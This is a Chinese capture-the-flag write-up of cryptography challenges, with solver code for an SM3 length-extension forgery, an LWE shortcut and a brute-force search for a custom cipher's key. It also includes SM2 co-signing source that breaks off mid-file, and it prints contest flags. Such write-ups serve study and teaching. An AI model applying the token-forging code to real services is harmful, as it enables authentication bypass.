# 读取HMAC key
hmac_key = read_hmac_key(hmac_key_file)

# 生成token
token = generate_token(hmac_key, counter)
print("Generated token:", token)
print(verify_token(hmac_key, counter, token))

题目内容很简单:

  • 读取一个未知的hmac_key,并生成一个随机的counter
  • 将hmac_key控制在32字节(不足则填充”\x00”,超出则截断)
  • 将hmac_key与counter拼接起来进行SM3哈希

然后下发的数据有:

  • SM3得到的哈希值
  • counter值

我们需要完成的事情是:

  • 找到一个新的counter,使得新counter的低32位比原来的counter大
  • 计算出hmac_key与新counter拼接后的SM3哈希值
  • 发送新counter和这个哈希值就能拿到flag

看明白题意就会知道这是一个基于SM3的哈希长度扩展攻击,由于控制了hmac_key为32字节,并且counter只有4字节,而SM3的分组长度是64字节,所以说我们拿到的哈希值是只有一个分组的。而按照SM3的填充规则,这个分组哈希的完整分组其实是下面这部分内容的part1 + part2:(单引号代表字节串,双引号代表比特串)

#448 bits
part1 = 'hmac_key'(32 bytes) + 'counter'(4 bytes) + "1" + "00...0"

#64 bits
part2 = bin(8*(len(hmac_key + counter)))[2:].zfill(64)

这两部分拼起来就得到了完整的第一个分组。

SM3的哈希长度扩展攻击基于其Merkle Damgard结构,我们可以用一个已知分组的哈希值,去继续迭代计算更长的含有该分组消息的哈希值,而不需要知道这个分组对应的明文是什么。所以我们完全可以构造下面这样的counter:

New_counter = 'counter'(4 bytes) + "1" + "00...0" + bin(8*(len(hmac_key + counter)))[2:].zfill(64) + '\xff\xff\xff\xff'

那么hmac_key拼接上这个counter后,其用于SM3哈希的消息就会按64字节分为两组,而第一组是和靶机发送的消息完全一样的,因此我们就可以利用哈希长度扩展攻击迭代计算整个消息的哈希值了,具体实现代码是赛前那天晚上在github上随便找的:

KKrias/length-extension-attack-for-SM3 (github.com)

稍微对着题意改一改就好。

exp:

def zero_fill(a,n):
if len(a)<n:
a="0"*(n-len(a))+a
return a
def cycle_shift_left( B, n):
n=n%32
return ((B << n) ^ (B >> (32 - n)))%(2**32)

def T(j):
if j>=0 and j<=15:
return int("79cc4519",16)
elif j>=16 and j<=63:
return int("7a879d8a",16)

def FF(X,Y,Z,j):
if j>=0 and j<=15:
return X^Y^Z
elif j>=16 and j<=63:
return (X&Y)|(X&Z)|(Y&Z)
def GG(X,Y,Z,j):
if j >= 0 and j <= 15:
return X ^ Y ^ Z
elif j >= 16 and j <= 63:
return (X & Y) | (~X & Z)

def P0(x):
return x^(cycle_shift_left(x,9))^cycle_shift_left(x,17)
def P1(x):
return x^(cycle_shift_left(x,15))^cycle_shift_left(x,23)

def Message_extension(a): #a的数一定要满足512bit,不够要补零!! ,承接的是字符串
W1 = [] # W0-15
W2=[] # W' 0-63
#print("a消息扩展的a:",a)
for i in range(int(len(a) / 8)):
W1.append(int(a[8 * i:8 * i + 8],16))
#print("W1的前16个",a[8 * i:8 * i + 8])
for j in range(16,68):
temp=P1(W1[j-16] ^ W1[j-9] ^ cycle_shift_left(W1[j-3],15)) ^cycle_shift_left(W1[j-13],7)^W1[j-6]
#print("消息扩展:",hex(temp))
W1.append(temp)

for j in range(0,64):
W2.append(W1[j]^W1[j+4])

W1.append(W2)
return W1

def CF(V,Bi): #V是字符串
Bi=zero_fill(Bi,128)
W=[]
W=Message_extension(Bi) #消息扩展完的消息字
#print("W:",W)
A=int(V[0:8],16)
#print("A:", hex(A))
B = int(V[8:16], 16)
C = int(V[16:24], 16)
D = int(V[24:32], 16)
E = int(V[32:40], 16)
F = int(V[40:48], 16)
G = int(V[48:56], 16)
H = int(V[56:64], 16)
for j in range(0,64):
temp=(cycle_shift_left(A,12) + E +cycle_shift_left(T(j),j)) %(2**32)
SS1=cycle_shift_left(temp,7)
SS2=SS1 ^ cycle_shift_left(A,12)
TT1=(FF(A,B,C,j) +D +SS2 +W[-1][j] ) %(2**32)
TT2=(GG(E,F,G,j)+H+SS1+W[j])%(2**32)
D=C
C=cycle_shift_left(B,9)
B=A
A=TT1
H=G
G=cycle_shift_left(F,19)
F=E
E=P0(TT2)
#print("B:", hex(B))
t1=zero_fill(hex(A^int(V[0:8],16))[2:],8)
t2 = zero_fill(hex(B ^ int(V[8:16], 16))[2:], 8)
t3 = zero_fill(hex(C ^ int(V[16:24], 16))[2:], 8)
t4 = zero_fill(hex(D ^ int(V[24:32], 16))[2:], 8)
t5 = zero_fill(hex(E ^ int(V[32:40], 16))[2:], 8)
t6 = zero_fill(hex(F ^ int(V[40:48], 16))[2:], 8)
t7 = zero_fill(hex(G ^ int(V[48:56], 16))[2:], 8)
t8 = zero_fill(hex(H ^ int(V[56:64], 16))[2:], 8)
t=t1+t2+t3+t4+t5+t6+t7+t8
return t

def SM3(plaintext):
Vtemp=IV
a=(len(plaintext)*4+1 ) % 512
#print(a)
k=0
B=[]
if a<=448:
k=448-a
elif a>448:
k=512-a+448
#print(k)
m=plaintext+"8"+"0"*int((k+1)/4-1)+zero_fill(str(hex(len(plaintext)*4))[2:],16)
#print(m)
block_len=int((len(plaintext)*4 + k + 65) / 512)
#print(block_len)
for i in range(0,block_len):
B.append(m[128*i:128*i+128]) #分组
#print("B:",B)
for i in range(0,block_len):
Vtemp=CF(Vtemp,B[i])

return Vtemp

def SM3_len_ex_ak(num_block,IV,plaintext):
Vtemp=IV
a=(len(plaintext)*4+1 ) % 512
#print(a)
k=0
B=[]
if a<=448:
k=448-a
elif a>448:
k=512-a+448
#print(k)
m=plaintext+"8"+"0"*int((k+1)/4-1)+zero_fill(str(hex(len(plaintext)*4+num_block*512))[2:],16)
#print(m)
block_len=int((len(plaintext)*4 + k + 65) / 512)
#print(block_len)
for i in range(0,block_len):
B.append(m[128*i:128*i+128]) #分组
#print("B:",B)
for i in range(0,block_len):
Vtemp=CF(Vtemp,B[i])

return Vtemp

IV="7380166f4914b2b9172442d7da8a0600a96f30bc163138aae38dee4db0fb0e4e"


#############################################################################
IV2="c2427b818b1fb3b9e72e0ec8c60d101a17865842506e6b0052278a0c156d9e7a"
num_block=1
counter = "51f18456"
New_Counter = hex(int((bin(int(counter,16))[2:].zfill(32) + "1") + "0"*(448 - 32*8 - 1 - 4*8) + bin(36*8)[2:].zfill(64) , 2))[2:] + "ffffffff"

print(New_Counter)
print(SM3_len_ex_ak(1,IV2,"FFFFFFFF"))

#flag{3WhlSlIw4tSOhbY52j6CMrUCAYSLfrS9}


初始谜题三(300 pts)

题目:

import sympy as sp
import random

# 设置参数
n = 16 # 向量长度
q = 251 # 模数

# 生成随机噪声向量e
e = sp.Matrix(sp.randMatrix(n, 1, min=0, max=1)) # 噪声向量

# 生成随机n维私钥向量s和n*n矩阵A
s = sp.Matrix(sp.randMatrix(n, 1, min=0, max=q - 1)) # 私钥向量
Temp = sp.Matrix(sp.randMatrix(n, n, min=0, max=q - 1)) # 中间变量矩阵Temp
A = Temp.inv_mod(q) # 计算矩阵Temp在模 q 下的逆矩阵作为A

# 计算n维公钥向量b
b = (A * s + e) % q # 公钥向量b = A * s + e


# 加密函数
def encrypt(message, A, b):
m_bin = bin(message)[2:].zfill(n) # 将消息转换为16比特的二进制字符串
m = sp.Matrix([int(bit) for bit in m_bin]) # 转换为SymPy矩阵
x = sp.Matrix(sp.randMatrix(n, n, min=0, max=q // (n * 4))) # 随机产生一个n*n的矩阵x
e1 = sp.Matrix(sp.randMatrix(n, 1, min=0, max=1)) # 随机产生一个n维噪声向量e
c1 = (x * A) % q # 密文部分c1 = x * A
c2 = (x * b + e1 + m * (q // 2)) % q # 密文部分c2 = x * b + e1 + m * q/2
return c1, c2


# 解密函数
def decrypt(c1, c2, s):
m_dec = (c2 - c1 * s) % q
m_rec = m_dec.applyfunc(lambda x: round(2 * x / q) % 2) # 还原消息
m_bin = ''.join([str(bit) for bit in m_rec]) # 将SymPy矩阵转换为二进制字符串
m_rec_int = int(m_bin, 2) # 将二进制字符串转换为整数
return m_rec_int


# 测试加解密
message = random.randint(0, 2 ** n - 1) # 要加密的消息,随机生成一个16比特整数
c1, c2 = encrypt(message, A, b) # 加密

print("原始消息: ", message)
print("公钥A=sp.", A)
print("公钥b=sp.", b)
print("密文c1=sp.", c1)
print("密文c2=sp.", c2)

decrypted_message = decrypt(c1, c2, s)
print("解密后的消息: ", decrypted_message) # 输出解密

题目名字叫lwe,具体来说给了一些如下数据:

  • 随机生成16维的01向量e
  • 随机生成16维的向量s以及16x16的可逆矩阵A,并计算:
    b=As+e
  • 将m转化为比特串,并进一步变为长度为16的01向量(也就是说m本身也只有2字节)
wxopi52fbns11776.png
  • 给出A、b、c1、c2,要求还原message并发送给他

虽然说题目叫lwe,似乎也可以通过lwe的方法求出s来,但是很显眼的一点是维数仅仅为16,实在太小了,只需要琼剧2^16其中就一定有正确的e、e1了。

然而再仔细看发现有更离谱的一点,既然A、c1都给好了并且A可逆,那么x直接求就好了,然后就可以轻松得到:

ymzya3rccxi11782.png


而由于e1也是01向量,他对向量t的大小影响可以忽略不计,所以t中大于等于q/2的位置就是m中为1的位置,否则就是0。

exp:

A = Matrix(ZZ,[[139, 63, 18, 202, 166, 185, 85, 108, 58, 90, 211, 248, 240, 44, 137, 39], [5, 230, 89, 226, 139, 24, 233, 20, 12, 108, 127, 11, 52, 64, 188, 156], [80, 61, 105, 3, 165, 96, 154, 40, 62, 103, 157, 75, 190, 101, 31, 239], [193, 100, 124, 216, 248, 95, 241, 196, 67, 192, 217, 114, 171, 248, 219, 169], [116, 71, 221, 105, 167, 153, 22, 124, 178, 45, 7, 183, 125, 8, 127, 123], [182, 162, 164, 184, 27, 148, 206, 73, 217, 86, 187, 137, 82, 150, 99, 65], [106, 60, 153, 91, 213, 41, 188, 92, 121, 246, 164, 223, 199, 85, 161, 25], [93, 97, 145, 31, 48, 36, 7, 110, 56, 47, 108, 79, 233, 186, 93, 181], [195, 98, 47, 147, 49, 40, 158, 89, 218, 8, 23, 118, 170, 19, 50, 17], [127, 95, 37, 48, 230, 244, 130, 37, 75, 125, 103, 154, 148, 218, 227, 178], [162, 235, 129, 44, 204, 228, 221, 130, 239, 36, 57, 38, 41, 74, 61, 155], [246, 11, 11, 97, 218, 57, 209, 72, 229, 27, 250, 73, 19, 64, 25, 62], [60, 162, 1, 110, 191, 130, 120, 227, 214, 98, 165, 245, 28, 55, 94, 190], [129, 212, 185, 156, 119, 239, 83, 221, 4, 174, 65, 218, 32, 211, 213, 223], [80, 218, 135, 245, 238, 127, 55, 68, 113, 145, 110, 59, 50, 177, 159, 146], [68, 239, 36, 166, 206, 23, 59, 126, 67, 152, 99, 189, 133, 113, 243, 198]])
b = Matrix(ZZ,[[88], [74], [219], [244], [81], [109], [81], [216], [125], [218], [170], [56], [152], [229], [204], [45]])
c1 = Matrix(ZZ,[[173, 2, 67, 11, 40, 80, 187, 38, 16, 226, 243, 79, 117, 127, 100, 113], [208, 231, 211, 196, 2, 146, 35, 2, 221, 119, 12, 25, 208, 152, 83, 201], [154, 43, 180, 76, 235, 5, 179, 196, 206, 171, 98, 145, 92, 144, 247, 98], [121, 145, 123, 232, 87, 78, 181, 145, 79, 166, 112, 169, 208, 102, 201, 63], [204, 141, 165, 225, 213, 137, 40, 43, 229, 151, 72, 237, 58, 15, 2, 31], [35, 114, 241, 31, 122, 123, 164, 231, 197, 89, 41, 236, 128, 22, 152, 82], [141, 133, 235, 79, 43, 120, 209, 231, 58, 85, 3, 44, 73, 245, 227, 62], [28, 158, 71, 41, 152, 32, 91, 200, 163, 46, 19, 121, 23, 209, 25, 55], [156, 17, 218, 146, 231, 242, 91, 76, 217, 57, 100, 212, 243, 87, 62, 159], [100, 111, 107, 62, 106, 72, 51, 79, 223, 93, 86, 145, 192, 21, 218, 243], [196, 250, 248, 166, 155, 39, 7, 93, 103, 54, 168, 188, 190, 104, 183, 64], [16, 131, 148, 193, 19, 149, 179, 212, 109, 170, 201, 168, 165, 167, 68, 25], [30, 222, 171, 32, 141, 105, 232, 104, 198, 53, 50, 157, 206, 165, 200, 42], [90, 149, 148, 112, 142, 228, 231, 119, 235, 248, 233, 9, 242, 102, 241, 93], [150, 32, 78, 183, 68, 249, 80, 165, 95, 229, 211, 0, 75, 14, 172, 139], [175, 69, 15, 100, 113, 63, 123, 71, 24, 250, 135, 232, 53, 32, 81, 117]])
c2 = Matrix(ZZ,[[18], [67], [187], [237], [99], [127], [128], [23], [83], [66], [64], [69], [7], [214], [43], [156]])

p = 251
A = Matrix(Zmod(p), A)
c1 = Matrix(Zmod(p), c1)
b = vector(b.T)
c2 = vector(c2.T)
x = c1*A^(-1)
t = c2 - x*b
m = ""
for i in t:
if(i >= p // 2):
m += "1"
else:
m += "0"
print(hex(int(m,2)))


#21c4


第二部分:大型密码系统

这一部分共有4个题目和一个最终挑战,题目之间是有顺序关系的,也就是要先做出某些题目,才能得到后续题目的附件、数据、登录密码之类的相关信息,具体来说这次挑战的先后顺序是:

  • flag1和flag3可以同时挑战
  • 做出flag1可以开启flag2
  • 做出flag3可以开启flag4
  • 全部完成后可以开启最终挑战


flag1(600 pts)

题目:

passwordEncryptorV2.c:

#include <stdio.h>
#include <string.h>
#include <openssl/sha.h>

#define ROUND 16

//S-Box 16x16
int sBox[16] =
{
2, 10, 4, 12,
1, 3, 9, 14,
7, 11, 8, 6,
5, 0, 15, 13
};


// 将十六进制字符串转换为 unsigned char 数组
void hex_to_bytes(const char* hex_str, unsigned char* bytes, size_t bytes_len) {
size_t hex_len = strlen(hex_str);
if (hex_len % 2 != 0 || hex_len / 2 > bytes_len) {
fprintf(stderr, "Invalid hex string length.\n");
return;
}

for (size_t i = 0; i < hex_len / 2; i++) {
sscanf(hex_str + 2 * i, "%2hhx", &bytes[i]);
}
}


// 派生轮密钥
void derive_round_key(unsigned int key, unsigned char *round_key, int length) {

unsigned int tmp = key;
for(int i = 0; i < length / 16; i++)
{
memcpy(round_key + i * 16, &tmp, 4); tmp++;
memcpy(round_key + i * 16 + 4, &tmp, 4); tmp++;
memcpy(round_key + i * 16 + 8, &tmp, 4); tmp++;
memcpy(round_key + i * 16 + 12, &tmp, 4); tmp++;
}
}


// 比特逆序
void reverseBits(unsigned char* state) {
unsigned char temp[16];
for (int i = 0; i < 16; i++) {
unsigned char byte = 0;
for (int j = 0; j < 8; j++) {
byte |= ((state[i] >> j) & 1) << (7 - j);
}
temp[15 - i] = byte;
}
for (int i = 0; i < 16; i++) {
state[i] = temp[i];
}
}


void sBoxTransform(unsigned char* state) {
for (int i = 0; i < 16; i++) {
int lo = sBox[state[i] & 0xF];
int hi = sBox[state[i] >> 4];
state[i] = (hi << 4) | lo;
}
}


void leftShiftBytes(unsigned char* state) {
unsigned char temp[16];
for (int i = 0; i < 16; i += 4) {
temp[i + 0] = state[i + 2] >> 5 | (state[i + 1] << 3);
temp[i + 1] = state[i + 3] >> 5 | (state[i + 2] << 3);
temp[i + 2] = state[i + 0] >> 5 | (state[i + 3] << 3);
temp[i + 3] = state[i + 1] >> 5 | (state[i + 0] << 3);
}
for (int i = 0; i < 16; i++)
{
state[i] = temp[i];
}
}


// 轮密钥加
void addRoundKey(unsigned char* state, unsigned char* roundKey, unsigned int round) {
for (int i = 0; i < 16; i++) {
for (int j = 0; j < 8; j++) {
state[i] ^= ((roundKey[i + round * 16] >> j) & 1) << j;
}
}
}

// 加密函数
void encrypt(unsigned char* password, unsigned int key, unsigned char* ciphertext) {
unsigned char roundKeys[16 * ROUND] = {}; //

// 生成轮密钥
derive_round_key(key, roundKeys, 16 * ROUND);

// 初始状态为16字节的口令
unsigned char state[16]; // 初始状态为16字节的密码
memcpy(state, password, 16); // 初始状态为密码的初始值

// 迭代加密过程
for (int round = 0; round < ROUND; round++)
{
reverseBits(state);
sBoxTransform(state);
leftShiftBytes(state);
addRoundKey(state, roundKeys, round);
}

memcpy(ciphertext, state, 16);
}

void main() {
unsigned char password[] = "pwd:xxxxxxxxxxxx"; // 口令明文固定以pwd:开头,16字节的口令
unsigned int key = 0xF0FFFFFF; // 4字节的密钥
unsigned char ciphertext[16]; // 16字节的状态

printf("Password: \n");
printf("%s\n", password);

encrypt(password, key, ciphertext);

// 输出加密后的结果
printf("Encrypted password:\n");
for (int i = 0; i < 16; i++) {
printf("%02X", ciphertext[i]);
}
printf("\n");
}


题目基于一个对称加密,给出了其具体实现步骤。连接靶机之后会给出密文,要求求出password,来解压带密码的协同签名源码文件压缩包,压缩包内含有本题的flag值以及flag2的源码。

可以看出在有key的情况下,解密就是把整个加密过程逆一下,这一部分交给学长很快就写好了。

然而学长发现对于靶机给出的密文,用题目给定的0xF0FFFFFF当作key是解不出他要求的”pwd:”开头的password的,所以我猜测这个key只是个示例,实际上要用这个已知的开头来爆破4字节的key。4字节对于c来说似乎也不算很大,因此简单修改下解密部分就开爆了。但是,实际效果并不是很理想,如果要爆破完所有解空间的话,差不多需要2^16秒,这对于仅仅6h的比赛来说太长了,所以要考虑一些优化。而比起仔细查看代码来说,最简单的优化当然是直接用多进程来做。

可是我只用过python的多进程,并且考虑到python本身的速度,为了用个多进程把整个求解代码转成python实在是不太划算。可是比赛不出网,要查询资料不仅需要申请,时间也只限10min,还会对整个队伍的成绩产生影响,更不划算。所以想来想去也只能三个人都多开点窗口,然后从不同的位置开爆。

也算是一种多进程了。

然而这样做有意想不到的效果——我让学弟倒着爆破的那个窗口过了一段时间真的跑出了结果,这个题也就顺利解掉了。

实际上最后一轮提示中有提到,因为某些原因,key首字节一定是F,所以倒着爆才更加快;此外还有一些其他地方可以减少耗时。

这里就不仔细研究产生这些优化的原因了,多进程肯定是最有力的XD,做出来就行。

exp:(header.h就是题目加密源码里的函数)

#include "header.h"

void print(unsigned char* m) {
for (int i = 0; i < 16; i++) {
printf("%02X", m[i]);
}
printf("\n");
}

int sBox_inv[16] =
{
13, 4, 0, 5, 2, 12, 11, 8, 10, 6, 1, 9, 3, 15, 7, 14
};

void rightShiftBytes(unsigned char* state) {
unsigned char temp[16];
for (int i = 0; i < 16; i += 4) {
temp[i + 0] = state[i + 2] << 5 | (state[i + 3] >> 3);
temp[i + 1] = state[i + 3] << 5 | (state[i + 0] >> 3);
temp[i + 2] = state[i + 0] << 5 | (state[i + 1] >> 3);
temp[i + 3] = state[i + 1] << 5 | (state[i + 2] >> 3);
}
for (int i = 0; i < 16; i++) {
state[i] = temp[i];
}
}

void decrypt(unsigned char* password, unsigned int key, unsigned char* ciphertext) {
unsigned char roundKeys[16 * ROUND] = {};
derive_round_key(key, roundKeys, 16 * ROUND);
unsigned char state[16];
memcpy(state, ciphertext, 16);
for (int round = ROUND - 1; round >= 0; round--) {
addRoundKey(state, roundKeys, round);
rightShiftBytes(state);
sBoxTransform(state, sBox_inv);
reverseBits(state);
}
memcpy(password, state, 16);
}

int main() {
// cipher = "B17164A27E035012107D6F7B0454D51D"
// cipher = "99F2980AAB4BE8640D8F322147CBA409"

unsigned char password[] = "pwd:xxxxxxxxxxxx"; // 口令明文固定以pwd:开头,16字节的口令
unsigned char ciphertext[16]; // 16字节的状态
hex_to_bytes("99F2980AAB4BE8640D8F322147CBA409", ciphertext, 16);



for (unsigned int key = 0; key < 0xFFFFFFFF; key++) {
if ((key & 0xFFFF) == 0) printf("%d\n", key);
decrypt(password, key, ciphertext);
if (password[0] == 112 && password[1] == 119 && password[2] == 100 && password[3] == 58) {
print(password);
}
}

return 0;
}


flag2(900 pts)

题目:

co-signing_client.js:

const form = ref({
password: "",
msgdigest: "",
})

const k1: any = ref("");

const submit = () => {
isform.value.validate((valid: boolean) => {
if (valid) {

loading.value = true;
let smPassword = ref("");
smPassword.value = sm3(form.value.password);
// 客户端通过用户口令、消息摘要和用户私钥d1,计算客户端协同签名值 p1x, p1y, q1x, q1y, r1, s1
var { str_e, str_p1x, str_p1y, str_q1x, str_q1y, str_r1, str_s1, errMessage } = clientSign1(smPassword.value, form.value.msgdigest);
if (errMessage) {
ElMessage.error(errMessage)
loading.value = false;
return
}
let data = {
q1x: str_q1x,
q1y: str_q1y,
e: str_e,
r1: str_r1,
s1: str_s1,
p1x: str_p1x,
p1y: str_p1y
}
// 客户端将 e, p1x, p1y, q1x, q1y, r1, s1发送给服务端
// 服务端用服务端私钥d2计算服务端协同签名值 s2, s3, r 发送给客户端
sign_param_send(data).then((res: any) => {
// 客户端通过s2, s3, r,计算协同签名值 s
let str_s: any = clientSign2(smPassword.value, res.s2, res.s3, res.r);
if (str_s.errMessage) {
ElMessage.error(errMessage)
loading.value = false;
return
}
ElMessage.success("协同签名成功");
signature_send({ client_sign: str_s }).then((res: any) => {
qmz.value = str_s;
loading.value = false;
}).then((err: any) => {
loading.value = false;
})
}).catch((err: any) => {
loading.value = false;
})
}
})
}
const clientSign1: any = (str_d1: any, str_e: any) => {
let d1 = new BN(str_d1, 16);
// console.log("e",str_e)

let e = new BN(str_e, 16);
// console.log("e",e)
const sm2: any = new elliptic.curve.short({
p: 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFF',
a: 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFC',
b: '28E9FA9E9D9F5E344D5A9E4BCF6509A7F39789F515AB8F92DDBCBD414D940E93',
n: 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123',
g: [
'32C4AE2C1F1981195F9904466A39C9948FE30BBFF2660BE1715A4589334C74C7',
'BC3736A2F4F6779C59BDCEE36B692153D0A9877CC62A474002DF32E52139F0A0'
]
} as any);

let n = new BN(sm2.n.toString(16), 16);
let G = sm2.g;

// generate random k1
const randomBytes = cryptoRandomStringAsync({ length: 64 });
k1.value = new BN(randomBytes as any, 16);
while(k1.value.mod(n).isZero()){
const randomBytes = cryptoRandomStringAsync({ length: 64 });
k1.value = new BN(randomBytes as any, 16);
}
k1.value = k1.value.mod(n);

// d1 = d1 mod n
d1 = d1.mod(n);
if (d1.isZero()) {
let errMessage = "d1=0,签名失败"
return { errMessage }
}

//P1 = ((d1)^(-1)) * G
let tmp1 = d1.invm(n);
let P1 = G.mul(tmp1);

//Q1 = k1*G = (x, y)
let Q1 = G.mul(k1.value);
let x = new BN(Q1.getX().toString(16), 16);

//r1 = x mod n
let r1 = x.mod(n);
if (r1.isZero()) {
let errMessage = "r1=0,签名失败"
return { errMessage }
}

//s1 = k1^(-1) * (e + d1^(-1) * r1) mod n
tmp1 = d1.invm(n);
let tmp2 = tmp1.mul(r1).mod(n);
let tmp3 = tmp2.add(e).mod(n);
tmp1 = k1.value.invm(n);
let s1 = tmp1.mul(tmp3).mod(n);
if (s1.isZero()) {
let errMessage = "s1=0,签名失败"
return { errMessage }
}

str_e = e.toString(16);
// console.log("str_e",str_e)
let str_p1x = P1.getX().toString(16);
let str_p1y = P1.getY().toString(16);
let str_q1x = Q1.getX().toString(16);
let str_q1y = Q1.getY().toString(16);
let str_r1 = r1.toString(16);
let str_s1 = s1.toString(16);
return { str_e, str_p1x, str_p1y, str_q1x, str_q1y, str_r1, str_s1 }
}
const clientSign2 = (str_d1: any, str_s2: any, str_s3: any, str_r: any) => {
const sm2 = new elliptic.curve.short({
p: 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFF',
a: 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFC',
b: '28E9FA9E9D9F5E344D5A9E4BCF6509A7F39789F515AB8F92DDBCBD414D940E93',
n: 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123',
g: [
'32C4AE2C1F1981195F9904466A39C9948FE30BBFF2660BE1715A4589334C74C7',
'BC3736A2F4F6779C59BDCEE36B692153D0A9877CC62A474002DF32E52139F0A0'
]
} as any);

let d1 = new BN(str_d1, 16);
let n = new BN(sm2.n.toString(16), 16);
let s2 = new BN(str_s2, 16);
let s3 = new BN(str_s3, 16);
let r = new BN(str_r, 16);
//s = d1*k1*s2 + d1*s3 -r mod n
let tmp1 = d1.mul(k1.value).mod(n);
let tmp2 = tmp1.mul(s2).mod(n);
let tmp3 = d1.mul(s3).mod(n);
tmp1 = tmp2.add(tmp3).mod(n);
let s = tmp1.sub(r).mod(n);
if (s.isZero()) {
let errMessage = "s=0,签名失败"
return { errMessage }
}
if (s.add(r).mod(n).isZero()) {
let errMessage = "s=n-r,签名失败"
return { errMessage }
}
let str_s = s.toString(16);
if (str_s[0] == '-') {
s = s.add(n).mod(n);
str_s = s.toString(16);
}
return str_s;
}

co-signing_client.c:

#include <stdio.h>
#include <stdlib.h>
#include <openssl/ec.h>
#include <openssl/rand.h>

#define SM2LEN 32

int error() {
printf("Error.\n");
return 0;
}

int error_partial_verify() {
printf("Error partial verify.\n");
return 0;
}

void print_flag2(const BIGNUM *d2) {
char *hex_str = BN_bn2hex(d2);
for (int i = 0; hex_str[i] != '\0'; i++) {
if (hex_str[i] >= 'A' && hex_str[i] <= 'F') {
hex_str[i] += 32;
}
}
printf("flag2{%s}\n", hex_str);
}

typedef struct {
char s2[SM2LEN * 2 + 1];
char s3[SM2LEN * 2 + 1];
char r[SM2LEN * 2 + 1];
int success;
} Result;

// 协同签名服务端签名算法
Result server(char* str_e,char* str_p1x,char* str_p1y,char* str_q1x,char* str_q1y,char* str_r1,char* str_s1){
Result res = {"", "", "", 0};

int rv = 1;
BIGNUM *e,*a,*b,*p,*n,*x,*y;
BIGNUM *d2,*r1,*s1,*p1x,*p1y,*q1x,*q1y;
BIGNUM *u1,*u2,*xprime,*yprime,*k2,*k3,*x1,*y1,*r,*s2,*s3,*s,*tmp1,*tmp2,*tmp3;
EC_GROUP* group;
EC_POINT *generator,*G,*P,*P1,*Q1,*TMP;

BN_CTX* bn_ctx = BN_CTX_new();
BN_CTX_start(bn_ctx);
if (!bn_ctx)
{ error(); return res; }
e = BN_CTX_get(bn_ctx);
a = BN_CTX_get(bn_ctx);
b = BN_CTX_get(bn_ctx);
p = BN_CTX_get(bn_ctx);
n = BN_CTX_get(bn_ctx);
d2 = BN_CTX_get(bn_ctx);
x = BN_CTX_get(bn_ctx);
y = BN_CTX_get(bn_ctx);
p1x = BN_CTX_get(bn_ctx);
p1y = BN_CTX_get(bn_ctx);
q1x = BN_CTX_get(bn_ctx);
q1y = BN_CTX_get(bn_ctx);
r1 = BN_CTX_get(bn_ctx);
s1 = BN_CTX_get(bn_ctx);
u1 = BN_CTX_get(bn_ctx);
u2 = BN_CTX_get(bn_ctx);
xprime = BN_CTX_get(bn_ctx);
yprime = BN_CTX_get(bn_ctx);
k2 = BN_CTX_get(bn_ctx);
k3 = BN_CTX_get(bn_ctx);
x1 = BN_CTX_get(bn_ctx);
y1 = BN_CTX_get(bn_ctx);
r = BN_CTX_get(bn_ctx);
s2 = BN_CTX_get(bn_ctx);
s3 = BN_CTX_get(bn_ctx);
s = BN_CTX_get(bn_ctx);
tmp1 = BN_CTX_get(bn_ctx);
tmp2 = BN_CTX_get(bn_ctx);
tmp3 = BN_CTX_get(bn_ctx);

if (
!BN_hex2bn(&e, str_e) ||
!BN_hex2bn(&p1x, str_p1x) ||
!BN_hex2bn(&p1y, str_p1y) ||
!BN_hex2bn(&q1x, str_q1x) ||
!BN_hex2bn(&q1y, str_q1y) ||
!BN_hex2bn(&r1, str_r1) ||
!BN_hex2bn(&s1, str_s1) ||
!BN_hex2bn(&a, "FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFC") ||
!BN_hex2bn(&b, "28E9FA9E9D9F5E344D5A9E4BCF6509A7F39789F515AB8F92DDBCBD414D940E93") ||
!BN_hex2bn(&p, "FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFF") ||
!BN_hex2bn(&n, "FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123") ||
// d2 = ds (server key)
!BN_hex2bn(&d2, "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX") ||
!BN_hex2bn(&x, "32C4AE2C1F1981195F9904466A39C9948FE30BBFF2660BE1715A4589334C74C7") ||
!BN_hex2bn(&y, "BC3736A2F4F6779C59BDCEE36B692153D0A9877CC62A474002DF32E52139F0A0") ||
!BN_rand_range(k2,n) ||
!BN_copy(k3, k2)
)
{ error(); return res; }

// generate k2 in [1, n-1]
while(BN_is_zero(k2)){
if (
!BN_rand_range(k2,n) ||
!BN_copy(k3, k2)
)
{ error(); return res; }
}

group = EC_GROUP_new_curve_GFp(p, a, b, bn_ctx);
generator = EC_POINT_new(group);
if (!generator)
{ error(); return res; }
if (1 != EC_POINT_set_affine_coordinates_GFp(group, generator, x, y, bn_ctx))
{ error(); return res; }
if (1 != EC_GROUP_set_generator(group, generator, n, NULL))
{ error(); return res; }

G = EC_POINT_new(group);
P = EC_POINT_new(group);
P1 = EC_POINT_new(group);
Q1 = EC_POINT_new(group);
TMP = EC_POINT_new(group);

// if r1=0 or s1=0, error
if (BN_is_zero(r1) || BN_is_zero(s1))
{ error(); return res; }

// set P1 = (p1x, p1y)
if (1 != EC_POINT_set_affine_coordinates_GFp(group, P1, p1x, p1y, bn_ctx))
{ error(); return res; }

// set Q1 = (q1x, q1y)
if (1 != EC_POINT_set_affine_coordinates_GFp(group, Q1, q1x, q1y, bn_ctx))
{ error(); return res; }

//u1 = e * (s1^(-1)) mod n, u2 = r1 * (s1^(-1)) mod n
if (!BN_mod_inverse(tmp1, s1, n, bn_ctx) ||
!BN_mod_mul(u1, e, tmp1, n, bn_ctx) ||
!BN_mod_mul(u2, r1, tmp1, n, bn_ctx) ||
